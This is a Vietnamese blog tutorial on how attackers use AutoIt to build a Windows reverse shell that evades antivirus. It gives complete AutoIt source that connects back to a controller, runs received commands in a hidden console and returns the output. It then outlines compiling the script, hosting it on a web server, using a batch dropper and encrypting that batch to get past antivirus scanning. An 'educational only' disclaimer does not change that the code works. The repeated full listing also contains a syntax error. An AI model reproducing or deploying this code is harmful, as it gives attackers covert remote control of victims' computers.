Vui lòng liên hệ chúng tôi qua Zalo Contact

Cách Hacker Bypass AV xâm nhập Windows với Autoit

Trong thời đại của công nghệ số, khi an ninh mạng ngày càng trở nên quan trọng, việc hiểu biết về cách thực hiện tấn công và bảo vệ là không thể phủ nhận. Ngôn ngữ lập trình Autoit nổi tiếng với tính đơn giản và sự dễ hiểu, thường được sử dụng để tạo ra các kịch bản tự động hóa. Tuy nhiên, khi rơi vào tay của những kẻ tấn công, nó có thể trở thành một công cụ độc hại mạnh mẽ.

Mục lục bài viết

Chúng ta sẽ cùng nhau khám phá cách mà tin tặc tạo ra một cuộc tấn công Reverse Shell có khả năng vượt qua các biện pháp chống virus thông thường, và làm thế nào Autoit có thể được tận dụng để thực hiện điều này. Hãy cùng Tricker Channel đồng hành và tìm hiểu chung về điều này!

Lưu ý!
Bài viết này chỉ dành cho mục đích giáo dục, nghiên cứu và học tập. Tricker Channel sẽ không chịu toàn bộ trách nhiệm về các hành vi bất hợp pháp !

Giới thiệu ngắn gọn về ngôn ngữ lập trình Autoit

AutoIt là một ngôn ngữ lập trình được thiết kế đặc biệt cho hệ điều hành Windows, chủ yếu được ứng dụng để tự động hóa các nhiệm vụ. Với cú pháp đơn giản và tích hợp mạnh mẽ với hệ điều hành Windows, AutoIt trở thành một công cụ linh hoạt cho việc tạo kịch bản tự động, từ việc cài đặt phần mềm cho đến tương tác với giao diện người dùng. Được biết đến với tính ổn định và khả năng tương thích cao, ngôn ngữ lập trình AutoIt đã trở thành sự lựa chọn phổ biến trong cộng đồng người sử dụng và những người phát triển phần mềm trên hệ điều hành Windows.

Cách Hacker Bypass AV xâm nhập Windows với Autoit

Kẻ tấn công thường sử dụng nhiều phương thức để xâm nhập vào máy tính của chúng ta, và trong nội dung này, chúng ta sẽ tập trung vào kỹ thuật Reverse Shell. Đây là một phương pháp phổ biến trong việc tấn công vào hệ thống mạng, trong đó máy tính bị xâm nhập tạo ra một kết nối với máy tính mục tiêu của kẻ tấn công. Quá trình này cung cấp cho kẻ tấn công khả năng thực hiện các hành động xâm nhập từ xa, bao gồm cài đặt mã độc, đánh cắp dữ liệu, thay đổi cấu hình hệ thống, và nhiều hoạt động khác. Kỹ thuật này thường được ứng dụng để tận dụng tính tin cậy của hệ thống mạng và tạo ra một cửa sổ ảo để thực hiện các hoạt động xâm nhập.

Trước hết, chúng ta sẽ tạo một tệp có tên là ReverseShell.au3 và đoạn mã sẽ bắt đầu với việc khai báo các thư viện cần thiết từ AutoIt.
#include <AutoItConstants.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>

Sau đó, các biến toàn cục sẽ chứa địa chỉ IP và cổng của máy chủ điều khiển. Trong ví dụ này, máy hacker sử dụng địa chỉ IP 127.0.0.1 (localhost) và cổng 4444.

Global $host = "127.0.0.1"
Global $port = 4444

Định nghĩa khai báo một biến toàn cục để lưu trữ đường dẫn hiện tại của máy nạn nhân.

Global $currentDir = @WorkingDir

Trong vòng lặp vô hạn, đoạn mã này sử dụng hàm Ping để kiểm tra xem máy nạn nhân có thể kết nối đến máy hacker không. Nếu kết nối có thể thực hiện, chương trình sẽ cố gắng kết nối đến máy hacker thông qua giao thức TCP. Nếu kết nối thành công, vòng lặp sẽ kết thúc. Ngược lại, nếu không có kết nối, đoạn mã sẽ tiếp tục chạy cho đến khi kết nối thành công.

While 1
    If Ping($host, 250) Then ; Check if the server is reachable
        TCPStartup()
        $socket = TCPConnect($host, $port)
        If $socket <> -1 Then ; Check if the connection is successful
            ExitLoop ; Exit the loop if the connection is established
        EndIf
        TCPCloseSocket($socket)
        TCPShutdown()
    EndIf
    Sleep(1000) ; Wait for 1 second before retrying
WEnd

Khi máy nạn nhân đã thiết lập kết nối với máy hacker, nó sẽ truyền đường dẫn hiện tại đến máy hacker.

TCPSend($socket, $currentDir & "> ")

Sau khi thiết lập kết nối, máy nạn nhân tiếp tục lắng nghe để nhận các lệnh từ máy hacker điều khiển. Nếu lệnh bắt đầu bằng "cd", nó sẽ thực hiện lệnh thay đổi thư mục. Trong trường hợp ngược lại, nó sẽ thực hiện lệnh trên hệ điều hành và gửi kết quả trả về máy hacker.

While 1
    If @error Then ExitLoop
    $recv = TCPRecv($socket, 1024)
    If $recv <> "" Then
        If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command
            $dirToChange = StringTrimLeft($recv, 3)
            $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces
            If FileChangeDir($dirToChange) Then
                $currentDir = @WorkingDir
                TCPSend($socket, $currentDir & "> ")
            Else
                TCPSend($socket, "[!] Failed to change directory" & @CRLF)
                TCPSend($socket, $currentDir & "> ")
            EndIf
        Else
            $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2)
            $stdout = ""
            While @ComSpec & " /c " & $recv <> ""
                $line = StdoutRead($cmd)
                If @error Then ExitLoop
                $stdout &= $line
            WEnd
            $ret = TCPSend($socket, $stdout)
            TCPSend($socket, $currentDir & "> ")
            Sleep(500)
        EndIf
    EndIf
WEnd

Khi hacker đã hoàn thành mục tiêu của mình, đoạn mã AutoIt sẽ đóng kết nối TCP và vô hiệu hóa thư viện TCP.

TCPCloseSocket($socket)
TCPShutdown()

Đây là toàn bộ đoạn mã:

#include <AutoItConstants.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>

Global $host = "127.0.0.1"
Global $port = 4444

Global $currentDir = @WorkingDir

While 1
    If Ping($host, 250) Then ; Check if the server is reachable
        TCPStartup()
        $socket = TCPConnect($host, $port)
        If $socket <> -1 Then ; Check if the connection is successful
            ExitLoop ; Exit the loop if the connection is established
        EndIf
        TCPCloseSocket($socket)
        TCPShutdown()
    EndIf
    Sleep(1000) ; Wait for 1 second before retrying
WEnd

TCPSend($socket, $currentDir & "> ")
While 1
    If @error Then ExitLoop
    $recv = TCPRecv($socket, 1024)
    If $recv <> "" Then
        If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command
            $dirToChange = StringTrimLeft($recv, 3)
            $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces
            If FileChangeDir($dirToChange) Then
                $currentDir = @WorkingDir
                TCPSend($socket, $currentDir & "> ")
            Else
                TCPSend($socket, "[!] Failed to change directory" & @CRLF
                TCPSend($socket, $currentDir & "> ")
            EndIf
        Else
            $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2)
            $stdout = ""
            While @ComSpec & " /c " & $recv <> ""
                $line = StdoutRead($cmd)
                If @error Then ExitLoop
                $stdout &= $line
            WEnd
            $ret = TCPSend($socket, $stdout)
            TCPSend($socket, $currentDir & "> ")
            Sleep(500)
        EndIf
    EndIf
WEnd

TCPCloseSocket($socket)
TCPShutdown()

Sau đó, hacker sẽ biên dịch script ReverseShell.au3 thành tệp tin thực thi ReverseShell.a3x

Sau khi quá trình biên dịch hoàn tất, hacker mở một máy chủ web để lưu trữ file autoit.exe và ReverseShell.a3x để chuẩn bị thực hiện cuộc tấn công. Đồng thời, đã chuẩn bị sẵn một tập lệnh Batch có tên là RS.bat với nội dung như sau:

Bây giờ, chúng ta sẽ truy cập trang web Mã Hóa Tại Đây để mã hóa tệp tin RS.bat này, nhằm vượt qua các phần mềm chống virus (AntiVirus).

Sau đây là kết quả scan của Virustotal

Bằng cách tận dụng sự linh hoạt và khả năng tùy chỉnh của AutoIt, tin tặc có thể tạo ra các script độc hại mà các chương trình antivirus thường khó nhận diện. Các phương pháp phổ biến mà hacker thường áp dụng bao gồm thay đổi liên tục mã độc hại để tránh phát hiện, sử dụng kỹ thuật mã hóa hoặc biến đổi cấu trúc mã để ngụy trang khỏi nhận dạng của các phần mềm bảo mật. Đồng thời, việc tận dụng lỗ hổng trong hệ thống và sự sáng tạo trong việc phát triển các kỹ thuật xâm nhập mới giúp tin tặc tạo ra các công cụ xâm nhập mạnh mẽ, khó phát hiện và gây nguy hiểm đối với các hệ thống. Do đó, việc cập nhật và nâng cao kiến thức bảo mật là quan trọng để bảo vệ chính mình và đảm bảo an toàn cho môi trường kỹ thuật số.

Facebook: Dịch Vụ Mạng Xã Hội Đà Nẵng
Zalo: Dịch Vụ Đà Nẵng
Phone: 0333.110304
Gmail: mxhdn.xyz@gmail.com
Thanh toán: Ngân hàng, thẻ cào siêu rẻ, Momo, ViettelPay, card + 35% phí,...

Cookie Consent
Chúng tôi cung cấp cookie trên trang web này để phân tích lưu lượng truy cập, ghi nhớ tùy chọn của bạn và tối ưu hóa trải nghiệm của bạn.
Oops!
Có vẻ như đã xảy ra sự cố với kết nối internet của bạn. Vui lòng kết nối với internet và truy cập lại.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Refresh